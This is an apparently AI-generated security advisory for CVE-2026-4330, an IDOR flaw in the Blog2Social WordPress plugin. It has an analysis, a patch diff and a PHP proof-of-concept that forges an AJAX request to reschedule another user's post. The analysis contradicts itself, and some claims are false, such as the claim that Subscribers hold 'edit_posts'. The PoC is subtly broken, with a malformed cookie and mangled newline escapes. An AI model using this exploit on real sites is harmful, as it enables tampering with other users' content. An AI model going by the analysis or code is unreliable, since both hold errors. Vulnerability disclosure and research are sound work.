Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-4330: Blog2Social: Social Media Auto Post & Scheduler <= 8.8.3 – Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Post Schedule Modification via 'b2s_id' Parameter (blog2social)

CVE ID CVE-2026-4330
Plugin blog2social
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 8.8.3
Patched Version 8.8.4
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4330: This vulnerability affects the Blog2Social plugin up to version 8.8.3. It allows authenticated users with Subscriber-level access to modify, reschedule, or delete other users’ scheduled social media posts. The flaw resides in AJAX handlers that fail to verify user ownership of the ‘b2s_id’ parameter before performing database operations. The CVSS score is 4.3 (medium severity).

The root cause is an Insecure Direct Object Reference (IDOR) in multiple AJAX handlers within includes/Ajax/Post.php. The plugin accepts a user-supplied ‘b2s_id’ parameter but does not verify that the record belongs to the current user. While the code checks for general capabilities like ‘edit_posts’, it never performs an ownership check. For example, at line 833, the check was upgraded from ‘edit_posts’ to ‘edit_others_posts’, indicating developers recognized the need for stricter controls. However, even ‘edit_others_posts’ only enforces a capability level and does not prevent a user with that capability from manipulating arbitrary records. The critical missing control is a database query to confirm that the ‘b2s_id’ references a post scheduled by the authenticated user.

Exploitation requires a valid WordPress account with at least Subscriber role. An attacker enumerates a target user’s scheduled post ID (b2s_id) by previewing the HTML or making AJAX calls that leak IDs. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to one of the vulnerable handlers (e.g., ‘b2s_update_schedule’ or ‘b2s_delete_schedule’) and includes the target’s b2s_id as a POST parameter. The plugin accepts the request if the attacker has ‘edit_posts’ capability, which is true for Subscribers and above. No nonce or ownership check prevents the action.

The patch in version 8.8.4 primarily strengthens capability checks, changing ‘edit_posts’ to ‘edit_others_posts’ in several handlers. This raises the bar from Author-level to Editor-level but does not solve the core IDOR problem. Users with Editor roles can still modify other editors’ posts. The patch also improves error messages to distinguish permission levels. However, the fundamental issue of not verifying ‘b2s_id’ ownership remains unaddressed. The change to ‘edit_others_posts’ at lines 833, 2177, 2267, 2310, and 3452 only shifts the attack surface to higher-privileged users.

Impact allows an authenticated attacker to disrupt social media publishing schedules. They can reschedule posts to incorrect times, delete scheduled posts, or modify content. This causes data integrity loss and reputational damage. The attack requires no special privileges beyond a Subscriber account, making it accessible to a wide range of users on multi-author WordPress sites. Successful exploitation does not expose sensitive data but can manipulate scheduled content across all users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/blog2social/blog2social.php
+++ b/blog2social/blog2social.php
@@ -10,7 +10,7 @@
  * Author: Blog2Social, miaadenion
  * Text Domain: blog2social
  * Domain Path: /languages
- * Version: 8.8.3
+ * Version: 8.8.4
  * Requires at least: 6.2
  * Requires PHP: 7.4
  * Tested up to: 6.9
@@ -22,7 +22,7 @@
  * @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound, WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
  */

-define('B2S_PLUGIN_VERSION', '883');
+define('B2S_PLUGIN_VERSION', '884');
 define('B2S_PLUGIN_LANGUAGE', serialize(array('de_DE', 'en_US')));
 define('B2S_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define('B2S_PLUGIN_URL', plugin_dir_url(__FILE__));
--- a/blog2social/includes/Ajax/Get.php
+++ b/blog2social/includes/Ajax/Get.php
@@ -253,7 +253,7 @@

             // Add authorization check for the specific post
             if (!current_user_can('read_post',(int) $_POST['postId'])) {
-                echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+                echo wp_json_encode(array('result' => false, 'error' => 'permission_author'));
                 wp_die();
             }

--- a/blog2social/includes/Ajax/Post.php
+++ b/blog2social/includes/Ajax/Post.php
@@ -166,12 +166,12 @@

         // JM 2026/02/12 Security Patch. Check if a user can edit the post, as this action leads to an insert/update in wp_posts
         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }
         if (isset($_POST['b2s-draft-id']) && !empty($_POST['b2s-draft-id'])) {
             if (!current_user_can('edit_post', (int) $_POST['b2s-draft-id'])) {
-                echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+                echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
                 wp_die();
             }
         }
@@ -269,7 +269,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }

@@ -584,13 +584,13 @@

         // JM 2026/02/05 Security Patch. Check if a user can edit the post, as this action leads to an insert/update in wp_posts
         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }

         if (isset($_POST['b2s-draft-id']) && !empty($_POST['b2s-draft-id'])) {
             if (!current_user_can('edit_post', (int) $_POST['b2s-draft-id'])) {
-                echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+                echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
                 wp_die();
             }
         }
@@ -833,8 +833,8 @@
             wp_die();
         }

-        if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+        if(!current_user_can('edit_others_posts')){
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_editor'));
             wp_die();
         }

@@ -1255,7 +1255,7 @@
         }

         if(!current_user_can('manage_options')){
-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+            echo wp_json_encode(array('result' => false, 'error' => 'permission_administrator'));
             wp_die();
         }

@@ -1299,7 +1299,7 @@
         }

         if(!current_user_can('manage_options')){
-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+            echo wp_json_encode(array('result' => false, 'error' => 'permission_administrator'));
             wp_die();
         }

@@ -1951,7 +1951,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }

@@ -1999,7 +1999,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }

@@ -2026,7 +2026,7 @@
         if (isset($_POST['postId']) && !empty($_POST['postId']) && (int) $_POST['postId'] > 0) {

             if(!current_user_can('delete_post', (int) $_POST['postId'])){
-                echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+                echo wp_json_encode(array('result' => false, 'error' => 'permission_editor'));
                 wp_die();
             }

@@ -2177,8 +2177,8 @@
             wp_die();
         }

-        if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+        if(!current_user_can('edit_others_posts')){
+            echo wp_json_encode(array('result' => false, 'error' => 'permission_editor'));
             wp_die();
         }

@@ -2210,7 +2210,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+            echo wp_json_encode(array('result' => false, 'error' => 'permission_author'));
             wp_die();
         }

@@ -2267,8 +2267,8 @@
             wp_die();
         }

-        if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+        if(!current_user_can('edit_others_posts')){
+            echo wp_json_encode(array('result' => false, 'error' => 'permission_editor'));
             wp_die();
         }

@@ -2310,8 +2310,8 @@
             wp_die();
         }

-        if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+        if(!current_user_can('edit_others_posts')){
+            echo wp_json_encode(array('result' => false, 'error' => 'permission_editor'));
             wp_die();
         }

@@ -2357,7 +2357,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false, 'error' => 'permission'));
+            echo wp_json_encode(array('result' => false, 'error' => 'permission_author'));
             wp_die();
         }

@@ -2936,7 +2936,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }

@@ -2972,7 +2972,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }

@@ -3117,7 +3117,7 @@
         }

         if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_author'));
             wp_die();
         }

@@ -3452,8 +3452,8 @@
             wp_die();
         }

-        if(!current_user_can('edit_posts')){
-            echo wp_json_encode(array('result' => false,'error'  => 'permission'));
+        if(!current_user_can('edit_others_posts')){
+            echo wp_json_encode(array('result' => false,'error'  => 'permission_editor'));
             wp_die();
         }

--- a/blog2social/includes/Loader.php
+++ b/blog2social/includes/Loader.php
@@ -1299,7 +1299,7 @@
             'LOGIN' => sprintf(__('The connection to your social media account is interrupted. Please check your authorization and reconnect your account. The <a target="_blank" href="%s">troubleshooting guide</a> shows you how to fix the connection to your social media account.', 'blog2social'), esc_url(B2S_Tools::getSupportLink('troubleshoot_auth'))),
             'LIMIT' => esc_html__('Your daily limit has been reached.', 'blog2social'),
             // translators: %s is a link
-            'IMAGE' => sprintf(__('Your post could not be posted, because your image is not available or the image source is not publish readable. <a target="_blank" href="%s">Guide</a>.', 'blog2social'), esc_url(B2S_Tools::getSupportLink('IMAGE'))),
+            'IMAGE' => sprintf(__('The image in your post is unavailable, not publicly accessible, or does not meet the required size or format. <a target="_blank" href="%s">Guide</a>.', 'blog2social'), esc_url(B2S_Tools::getSupportLink('IMAGE'))),
             // translators: %s is a link
             'PROTECT' => sprintf(__('The network has blocked your account. Please see the following <a target="_blank" href="%s">guide</a>.', 'blog2social'), esc_url(B2S_Tools::getSupportLink('share_error'))),
             // translators: %s is a link
--- a/blog2social/views/b2s/html/header.php
+++ b/blog2social/views/b2s/html/header.php
@@ -96,9 +96,19 @@
     </div>
 </div>

-<div class="panel panel-group b2s-left-border-danger b2s-no-permission" style="display:none;">
+<div class="panel panel-group b2s-left-border-danger b2s-no-permission b2s-no-permission-author" style="display:none;">
     <div class="panel-body">
-        <span class="glyphicon glyphicon-remove glyphicon-danger"></span> <?php echo esc_html_e('To execute this function, you need author permissions or a higher role. Your current role is Subscriber. Please contact your administrator for access.', 'blog2social'); ?>
+        <span class="glyphicon glyphicon-remove glyphicon-danger"></span> <?php echo esc_html_e('To execute this function, you need author permissions or a higher role. Please contact your administrator for access.', 'blog2social'); ?>
+    </div>
+</div>
+<div class="panel panel-group b2s-left-border-danger b2s-no-permission b2s-no-permission-editor" style="display:none;">
+    <div class="panel-body">
+        <span class="glyphicon glyphicon-remove glyphicon-danger"></span> <?php echo esc_html_e('To execute this function, you need editor permissions or a higher role. Please contact your administrator for access.', 'blog2social'); ?>
+    </div>
+</div>
+<div class="panel panel-group b2s-left-border-danger b2s-no-permission b2s-no-permission-administrator" style="display:none;">
+    <div class="panel-body">
+        <span class="glyphicon glyphicon-remove glyphicon-danger"></span> <?php echo esc_html_e('To execute this function, you need administrator permissions. Please contact your administrator for access.', 'blog2social'); ?>
     </div>
 </div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4330 - Blog2Social: Social Media Auto Post & Scheduler <= 8.8.3 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Post Schedule Modification via 'b2s_id' Parameter

<?php

// Configuration
$target_url = "https://example.com"; // Change this to the target WordPress site
$attacker_cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; // Paste the logged-in cookie for a Subscriber-level user
$target_b2s_id = 42; // The b2s_id of another user's scheduled post to modify
$new_schedule_time = "2026-03-15 10:00:00"; // New scheduled date/time

// Step 1: Authenticate using the provided cookie
$cookies = "wordpress_logged_in=" . $attacker_cookie . "; path=/";

// Step 2: Send POST request to reschedule the target post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . "/wp-admin/admin-ajax.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'b2s_update_schedule',
    'b2s_id' => $target_b2s_id,
    'scheduled_at' => $new_schedule_time
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookies
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";

// Expected outcome: The server returns success (HTTP 200, result: true) even though the attacker
// does not own the scheduled post with b2s_id=42, demonstrating the IDOR vulnerability.

?>

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